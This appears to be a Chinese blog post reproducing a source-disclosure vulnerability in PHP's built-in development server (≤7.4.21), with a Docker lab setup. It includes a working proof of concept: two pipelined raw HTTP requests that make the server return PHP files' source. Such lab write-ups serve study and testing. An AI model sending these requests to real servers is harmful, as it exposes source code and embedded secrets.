php＜= 7 . 4 . 21 development server源码泄露漏洞复现

本文介绍: 前一段时间在看羊城杯wp里了解到了这个漏洞，觉得挺有意思尝试复现一下(这里附上原漏洞地址。

前一段时间在看羊城杯wp里了解到了这个漏洞，觉得挺有意思尝试复现一下(

PHP<= 7 . 4 . 21

通过php -S开起的内置WEB服务器存在源码泄露漏洞，可以将PHP文件作为静态文件直接输出源码

这里直接给出POC

GET /phpinfo.php HTTP/1.1  //这里的phpinfo.php必须是存在的文件，也就是要读取源码的文件
Host: 192.168.xxx.xxx:xx


GET /Kawakaze HTTP/1.1 //这里的Kawakaze是不存在的文件

ps：这里一定要换行

apt-get install docker.io

service docker start

docker pull php:7.4.21

docker run -it -p 8080:80  4ad229e4e700  /bin/bash

echo "<?php phpinfo();?>" > phpinfo.php

php -S 0.0.0.0:80

声明：本站所有文章，如无特殊说明或标注，均为本站原创发布。任何个人或组织，在未征得本站同意时，禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者的合法权益，可联系我们进行处理。

前言